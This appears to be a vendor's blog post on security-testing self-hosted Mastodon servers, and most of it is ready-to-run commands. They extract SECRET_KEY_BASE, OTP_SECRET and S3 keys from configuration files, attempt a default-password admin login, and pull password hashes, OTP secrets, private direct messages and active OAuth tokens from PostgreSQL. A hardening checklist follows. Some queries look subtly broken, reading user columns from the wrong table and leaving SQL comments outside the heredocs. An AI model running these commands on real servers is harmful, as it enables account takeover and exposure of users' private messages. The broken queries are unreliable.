Social Media Security Testing

Mastodon Security Testing: Default Credentials, API Key, Database, and Social Media Data

📅 July 3, 2026 ⏱ 10 min read 🏷 Mastodon, Social Media Security, SECRET_KEY_BASE, OTP_SECRET, PostgreSQL, Direct Messages, OAuth Tokens, S3 Credentials, Sidekiq

Mastodon is a widely deployed self-hosted federated social media server — organizations and communities use it to run their own Twitter-like platforms. Key assessment areas: SECRET_KEY_BASE and OTP_SECRET from .env.production enable session token forgery and two-factor authentication bypass; PostgreSQL stores all private direct messages and OAuth application tokens; the admin panel provides full control over all accounts; and the Sidekiq web UI is often deployed without authentication providing RCE via job injection. This guide covers systematic Mastodon security assessment.

Environment Variable Extraction and Key Compromise
Admin Panel Access and API Token Enumeration
PostgreSQL Database User and Message Extraction
Mastodon Security Hardening

Environment Variable Extraction and Key Compromise

# Mastodon — environment variable extraction and key compromise
MASTODON_URL="https://social.example.com"

# .env.production — Mastodon primary configuration (all secrets)
cat /home/mastodon/live/.env.production 2>/dev/null | grep -v "^#" | grep -v "^$"
# Critical secrets:
# SECRET_KEY_BASE — Rails session signing key (session token forgery)
# OTP_SECRET — TOTP two-factor authentication secret (2FA bypass)
# VAPID_PRIVATE_KEY — Web push notification signing key
# SMTP_PASSWORD — email delivery password
# AWS_SECRET_ACCESS_KEY or S3_SECRET_ACCESS_KEY — media storage key
# DB_PASS — PostgreSQL password
# REDIS_URL — Redis connection string (may include password)

# Docker environment
docker inspect mastodon_web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','KEY','PASSWORD','PASS','AWS','S3','VAPID','SMTP']):
            print(e)
" 2>/dev/null

# Sidekiq web UI — often deployed without authentication
SIDEKIQ=$(curl -s -o /dev/null -w "%{http_code}" "${MASTODON_URL}/sidekiq" 2>/dev/null)
echo "Sidekiq UI: HTTP $SIDEKIQ"
# 200 = Sidekiq UI accessible without authentication
# Sidekiq UI allows: viewing all background jobs, retrying failed jobs,
# and in some configurations triggering arbitrary job execution

# Check if Rails debug mode is enabled (stack traces with env vars)
curl -s "${MASTODON_URL}/nonexistent_path_that_triggers_500" 2>/dev/null | \
  grep -i "SECRET_KEY_BASE\|env\|password" | head -5

Admin Panel Access and API Token Enumeration

# Mastodon admin panel and API token enumeration
MASTODON_URL="https://social.example.com"

# Admin panel login — first registered user is often admin
curl -s -X POST "${MASTODON_URL}/auth/sign_in" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c /tmp/mast_jar \
  -d "user[email]=admin@example.com&user[password]=password" \
  -o /dev/null -w "%{http_code}" 2>/dev/null

# Admin API — user enumeration (requires admin scope token)
ADMIN_TOKEN="your-admin-token"
curl -s "${MASTODON_URL}/api/v1/admin/accounts?limit=200" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Accounts: {len(d)}')
for u in d[:10]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")}@{u.get(\"domain\",\"local\")}')
    print(f'    email={u.get(\"email\")} admin={u.get(\"role\",{}).get(\"name\")}')
    print(f'    confirmed={u.get(\"confirmed\")} suspended={u.get(\"suspended\")}')
" 2>/dev/null

# All OAuth application tokens (regular user endpoint)
curl -s "${MASTODON_URL}/api/v1/oauth_tokens" \
  -H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'OAuth tokens: {len(d)}')
    for t in d[:5]:
        print(f'  app={t.get(\"app\",{}).get(\"name\")} scopes={t.get(\"scopes\")}')
except: pass
" 2>/dev/null

# Instance federation secrets
curl -s "${MASTODON_URL}/.well-known/webfinger?resource=acct:admin@${MASTODON_URL#https://}" \
  2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d)" 2>/dev/null

PostgreSQL Database User and Message Extraction

# Mastodon PostgreSQL database extraction
MASTODON_DB="mastodon_production"  # or mastodon

psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
-- All user accounts with credentials
SELECT id, username, email,
       encrypted_password,  -- bcrypt hash
       otp_secret,          -- TOTP secret (2FA bypass if extracted)
       confirmed_at,
       admin,               -- true=admin
       created_at
FROM accounts
WHERE domain IS NULL  -- local accounts only
ORDER BY admin DESC, created_at
LIMIT 20;
EOF

-- All private direct messages (Mastodon stores them in statuses)
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT s.id,
       a.username as author,
       s.text,              -- message content
       s.visibility,        -- 'direct' = DM
       s.created_at
FROM statuses s
JOIN accounts a ON s.account_id = a.id
WHERE s.visibility = 'direct'
ORDER BY s.created_at DESC
LIMIT 20;
EOF
-- Direct messages are stored unencrypted in PostgreSQL

-- All OAuth access tokens
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT oa.token,
       oa.scopes,
       oa.created_at,
       oa.revoked_at,
       a.username
FROM oauth_access_tokens oa
JOIN users u ON oa.resource_owner_id = u.id
JOIN accounts a ON u.account_id = a.id
WHERE oa.revoked_at IS NULL
ORDER BY oa.created_at DESC
LIMIT 20;
EOF

-- Media attachment S3 paths
psql -h localhost -U mastodon -d "$MASTODON_DB" 2>/dev/null << 'EOF'
SELECT ma.file_file_name, ma.file_content_type,
       ma.file_file_size, ma.account_id,
       ma.created_at
FROM media_attachments ma
ORDER BY ma.created_at DESC
LIMIT 10;
EOF

Mastodon Security Hardening

Mastodon Security Hardening Checklist:

Protect .env.production with strict file permissions — Mastodon's .env.production contains SECRET_KEY_BASE (used to sign all session cookies — compromise enables arbitrary session token creation for any user including admins), OTP_SECRET (used to generate TOTP two-factor authentication tokens — compromise enables bypassing 2FA for any user), VAPID_PRIVATE_KEY (used to sign web push notifications), SMTP_PASSWORD, database credentials, and AWS/S3 keys; restrict this file to owner-read-only (chmod 600); never commit .env.production to version control; use a secrets manager for production deployments; rotate all secrets immediately if .env.production is exposed
Secure the Sidekiq web UI — Mastodon uses Sidekiq for background job processing; the Sidekiq web UI (/sidekiq) provides visibility into all queued and failed jobs and allows job retry; many Mastodon deployments expose /sidekiq without authentication, allowing unauthenticated users to view job data (which may include user emails and OAuth tokens in job parameters) and potentially inject malicious jobs; enable Sidekiq authentication in config/routes.rb by adding HTTP basic auth or restricting the route to admin-authenticated sessions; restrict /sidekiq access at the nginx level to trusted IP ranges
Understand that Mastodon direct messages are not end-to-end encrypted — Mastodon direct messages (visibility=direct) are stored in the PostgreSQL statuses table in plaintext; they are not encrypted at rest; any database administrator or anyone with PostgreSQL access can read all direct messages; inform Mastodon instance users of this limitation — direct messages in Mastodon provide social, not cryptographic, privacy; do not use Mastodon direct messages for truly sensitive communications; implement encrypted backups of the database; implement row-level security to limit which database users can access the statuses table
Configure S3 or media storage with least-privilege credentials — Mastodon stores all media attachments (images, videos, files) in S3-compatible object storage; the AWS_SECRET_ACCESS_KEY or S3_SECRET_ACCESS_KEY in .env.production grants access to the entire media bucket; create an IAM user or role with permissions limited to only the specific bucket Mastodon uses; use bucket policies to restrict access to only the Mastodon application server IP; enable S3 server-side encryption for the media bucket; set appropriate S3 lifecycle policies to delete old media; never use your AWS root account credentials in .env.production
Implement admin account security hardening — Mastodon admin accounts have full control over all accounts, content, and instance settings; use a unique strong password for the admin account; enable two-factor authentication for all admin accounts; be aware that if OTP_SECRET is extracted from .env.production, TOTP codes for any user can be computed independently of the user's authenticator app; monitor admin activity logs; restrict admin panel access (/admin) to trusted IP ranges at the nginx level; create separate moderator accounts for day-to-day moderation work rather than using the full admin account; audit the admin role roster regularly

Security Test	Method	Risk
SECRET_KEY_BASE and OTP_SECRET extraction from .env.production	Read .env.production — SECRET_KEY_BASE enables arbitrary session token forgery for any account; OTP_SECRET enables computing TOTP codes bypassing two-factor authentication for all users	Critical
Sidekiq web UI unauthenticated access	GET /sidekiq — if accessible without auth, view all job data (user emails in parameters), retry jobs; in some configurations inject arbitrary background jobs	High
PostgreSQL direct message extraction	SELECT text FROM statuses WHERE visibility='direct' — all private DMs stored in plaintext; no encryption at rest; complete private conversation history	High
OAuth access token enumeration	SELECT token FROM oauth_access_tokens WHERE revoked_at IS NULL — all active OAuth tokens for all users; persistent API access to all accounts	High
S3 media bucket credential extraction	Read AWS_SECRET_ACCESS_KEY from .env.production — full access to media bucket; all uploaded images, videos, and files including private attachments	High

Automate Mastodon Security Testing

Ironimo tests Mastodon deployments for .env.production SECRET_KEY_BASE and OTP_SECRET extraction, Sidekiq web UI unauthenticated access, admin panel credential testing, PostgreSQL direct message plaintext extraction, OAuth access token enumeration, S3_SECRET_ACCESS_KEY media bucket access, VAPID_PRIVATE_KEY push notification signing, accounts table bcrypt password hash and otp_secret extraction, federation actor private key exposure, and SMTP_PASSWORD email credential disclosure.

Start free scan

Table of Contents

Environment Variable Extraction and Key Compromise

Admin Panel Access and API Token Enumeration

PostgreSQL Database User and Message Extraction

Mastodon Security Hardening

Automate Mastodon Security Testing